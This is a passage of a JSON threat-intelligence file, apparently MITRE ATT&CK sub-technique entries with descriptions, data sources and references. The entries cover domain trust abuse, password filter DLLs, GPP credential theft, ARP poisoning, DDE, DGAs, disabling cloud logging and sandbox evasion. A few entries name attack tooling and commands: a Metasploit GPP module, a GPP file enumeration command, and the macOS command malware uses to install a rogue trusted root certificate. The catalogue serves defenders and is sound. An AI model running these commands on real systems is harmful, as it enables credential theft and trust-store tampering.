"description": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.",
"meta": {
"external_id": "T1484.002",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Creation",
"Active Directory: Active Directory Object Modification",
"Command: Command Execution"
],
"mitre_platforms": [
"Windows",
"Azure AD"
],
"refs": [
"https://attack.mitre.org/techniques/T1484/002",
"https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed",
"https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365",
"https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml",
"https://us-cert.cisa.gov/ncas/alerts/aa21-008a",
"https://www.sygnia.co/golden-saml-advisory"
]
},
"related": [
{
"dest-uuid": "ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
"type": "subtechnique-of"
}
],
"uuid": "24769ab5-14bd-4f4e-a752-cfb185da53ee",
"value": "Domain Trust Modification - T1484.002"
},
{
"description": "Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)",
"meta": {
"external_id": "CAPEC-528",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1499/002",
"https://capec.mitre.org/data/definitions/488.html",
"https://capec.mitre.org/data/definitions/489.html",
"https://capec.mitre.org/data/definitions/528.html",
"https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
"https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/",
"https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new"
]
},
"related": [
{
"dest-uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4",
"type": "subtechnique-of"
}
],
"uuid": "38eb0c22-6caf-46ce-8869-5964bd735858",
"value": "Service Exhaustion Flood - T1499.002"
},
{
"description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",
"meta": {
"external_id": "T1556.002",
"kill_chain": [
"mitre-attack:credential-access",
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"File: File Creation",
"Module: Module Load",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
"https://attack.mitre.org/techniques/T1556/002",
"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
]
},
"related": [
{
"dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
"type": "subtechnique-of"
}
],
"uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
"value": "Password Filter DLL - T1556.002"
},
{
"description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"meta": {
"external_id": "T1565.002",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: OS API Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1565/002",
"https://content.fireeye.com/apt/rpt-apt38",
"https://www.justice.gov/opa/press-release/file/1092091/download"
]
},
"related": [
{
"dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931",
"type": "subtechnique-of"
}
],
"uuid": "d0613359-5781-4fd2-b5be-c269270be1f6",
"value": "Transmitted Data Manipulation - T1565.002"
},
{
"description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit’s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml\n",
"meta": {
"external_id": "T1552.006",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://adsecurity.org/?p=2288",
"https://attack.mitre.org/techniques/T1552/006",
"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)",
"https://msdn.microsoft.com/library/cc422924.aspx",
"https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html"
]
},
"related": [
{
"dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
"type": "subtechnique-of"
}
],
"uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
"value": "Group Policy Preferences - T1552.006"
},
{
"description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n",
"meta": {
"external_id": "T1557.002",
"kill_chain": [
"mitre-attack:credential-access",
"mitre-attack:collection"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1557/002",
"https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411",
"https://tools.ietf.org/html/rfc826",
"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
]
},
"related": [
{
"dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
"type": "subtechnique-of"
}
],
"uuid": "cabe189c-a0e3-4965-a473-dcff00f17213",
"value": "ARP Cache Poisoning - T1557.002"
},
{
"description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)",
"meta": {
"external_id": "T1559.002",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Module: Module Load",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1559/002",
"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
"https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
"https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
"https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
"https://technet.microsoft.com/library/security/4053440",
"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
"https://www.contextis.com/blog/comma-separated-vulnerabilities",
"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
]
},
"related": [
{
"dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d",
"type": "subtechnique-of"
}
],
"uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d",
"value": "Dynamic Data Exchange - T1559.002"
},
{
"description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
"meta": {
"external_id": "T1568.002",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
"http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf",
"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
"https://arxiv.org/pdf/1611.00791.pdf",
"https://attack.mitre.org/techniques/T1568/002",
"https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html",
"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
"https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/",
"https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/",
"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
]
},
"related": [
{
"dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b",
"type": "subtechnique-of"
}
],
"uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd",
"value": "Domain Generation Algorithms - T1568.002"
},
{
"description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)",
"meta": {
"external_id": "T1562.008",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Cloud Service: Cloud Service Disable",
"Cloud Service: Cloud Service Modification"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1562/008",
"https://cloud.google.com/logging/docs/audit/configure-data-access",
"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html",
"https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete",
"https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/"
]
},
"related": [
{
"dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"type": "subtechnique-of"
}
],
"uuid": "cacc40da-4c9e-462c-80d5-fd70a178b12d",
"value": "Disable Cloud Logs - T1562.008"
},
{
"description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)",
"meta": {
"external_id": "T1562.009",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1562/009",
"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit",
"https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg",
"https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/",
"https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234",
"https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/",
"https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise",
"https://www.cybereason.com/blog/medusalocker-ransomware"
]
},
"related": [
{
"dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"type": "subtechnique-of"
}
],
"uuid": "28170e17-8384-415c-8486-2e6b294cb803",
"value": "Safe Mode Boot - T1562.009"
},
{
"description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",
"meta": {
"external_id": "T1578.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Instance: Instance Creation"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1578/002",
"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/",
"https://cloud.google.com/logging/docs/audit#admin-activity",
"https://content.fireeye.com/m-trends/rpt-m-trends-2020",
"https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"
]
},
"related": [
{
"dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90",
"type": "subtechnique-of"
}
],
"uuid": "cf1c2504-433f-4c4e-a1f8-91de45a0318c",
"value": "Create Cloud Instance - T1578.002"
},
{
"description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.",
"meta": {
"external_id": "T1587.002",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Malware Repository: Malware Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1587/002",
"https://en.wikipedia.org/wiki/Code_signing"
]
},
"related": [
{
"dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf",
"type": "subtechnique-of"
}
],
"uuid": "34b3f738-bd64-40e5-a112-29b0542bc8bf",
"value": "Code Signing Certificates - T1587.002"
},
{
"description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"meta": {
"external_id": "T1597.002",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1597/002",
"https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
]
},
"related": [
{
"dest-uuid": "a51eb150-93b1-484b-a503-e51453b127a4",
"type": "subtechnique-of"
}
],
"uuid": "0a241b6c-7bb2-48f9-98f7-128145b4d27f",
"value": "Purchase Technical Data - T1597.002"
},
{
"description": "Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",
"meta": {
"external_id": "T1583.003",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content",
"Internet Scan: Response Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583/003",
"https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf",
"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
"https://threatconnect.com/blog/infrastructure-research-hunting/",
"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
]
},
"related": [
{
"dest-uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2",
"type": "subtechnique-of"
}
],
"uuid": "79da0971-3147-4af6-a4f5-e8cd447cd795",
"value": "Virtual Private Server - T1583.003"
},
{
"description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)",
"meta": {
"external_id": "CAPEC-479",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
"https://attack.mitre.org/techniques/T1553/004",
"https://capec.mitre.org/data/definitions/479.html",
"https://docs.microsoft.com/sysinternals/downloads/sigcheck",
"https://en.wikipedia.org/wiki/Root_certificate",
"https://objective-see.com/blog/blog_0x26.html",
"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
"https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
]
},
"related": [
{
"dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7",
"type": "subtechnique-of"
}
],
"uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
"value": "Install Root Certificate - T1553.004"
},
{
"description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.",
"meta": {
"external_id": "T1584.003",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content",
"Internet Scan: Response Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1584/003",
"https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
"https://threatconnect.com/blog/infrastructure-research-hunting/",
"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
]
},
"related": [
{
"dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
"type": "subtechnique-of"
}
],
"uuid": "39cc9f64-cf74-4a48-a4d8-fe98c54a02e0",
"value": "Virtual Private Server - T1584.003"
},
{
"description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)",
"meta": {
"external_id": "T1497.003",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1497/003",
"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
